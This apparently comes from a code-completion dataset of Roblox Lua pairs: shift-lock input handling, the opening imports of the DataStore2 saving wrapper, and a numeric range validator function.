			InputCn = UserInputService.InputBegan:connect(onShiftInputBegan)
			IsActionBound = true
		end
	end
end

GameSettings.Changed:connect(function(property)
	if property == 'ControlMode' then
		if GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch then
			enableShiftLock()
		else
			disableShiftLock()
		end
	elseif property == 'ComputerMovementMode' then
		if GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove then
			disableShiftLock()
		else
			enableShiftLock()
		end
	end
end)

LocalPlayer.Changed:connect(function(property)
	if property == 'DevEnableMouseLock' then
		if LocalPlayer.DevEnableMouseLock then
			enableShiftLock()
		else
			disableShiftLock()
		end
	elseif property == 'DevComputerMovementMode' then
		if LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.ClickToMove or
			LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable then
			--
			disableShiftLock()
		else
			enableShiftLock()
		end
	end
end)

LocalPlayer.CharacterAdded:connect(function(character)
	-- we need to recreate guis on character load
	if not UserInputService.TouchEnabled then
		initialize()
	end
end)


Prompt:
--[[
	DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data.
	Use require(1936396537) to have an updated version of DataStore2.

	DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore

	DataStore2 DataStore:
	- Get([defaultValue])
	- Set(value)
	- Update(updateFunc)
	- Increment(value, defaultValue)
	- BeforeInitialGet(modifier)
	- BeforeSave(modifier)
	- Save()
	- SaveAsync()
	- OnUpdate(callback)
	- BindToClose(callback)

	local coinStore = DataStore2("Coins", player)

	To give a player coins:

	coinStore:Increment(50)

	To get the current player's coins:

	coinStore:Get()
--]]

Response:
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")

local Constants = require(script.Constants)
local Promise = require(script.Promise)
local SavingMethods = require(script.SavingMethods)
local Settings = require(script.Settings)
local TableUtil = require(script.TableUtil)
local Verifier = require(script.Verifier)

local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value

local function clone(value)
	if typeof(value) == "table" then
		return TableUtil.clone(value)
	else
		return value
	end
end


Prompt:
--[[**
	ensures value is a number where min <= value <= max

	@param min The minimum to use
	@param max The maximum to use

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.numberConstrained(min, max)
	assert(t.number(min))
	assert(t.number(max))
	local minCheck = t.numberMin(min)
	local maxCheck = t.numberMax(max)

	return function(value)
		local minSuccess = minCheck(value)
		if not minSuccess then
			return false
		end

		local maxSuccess = maxCheck(value)
		if not maxSuccess then
			return false
		end

		return true
	end
end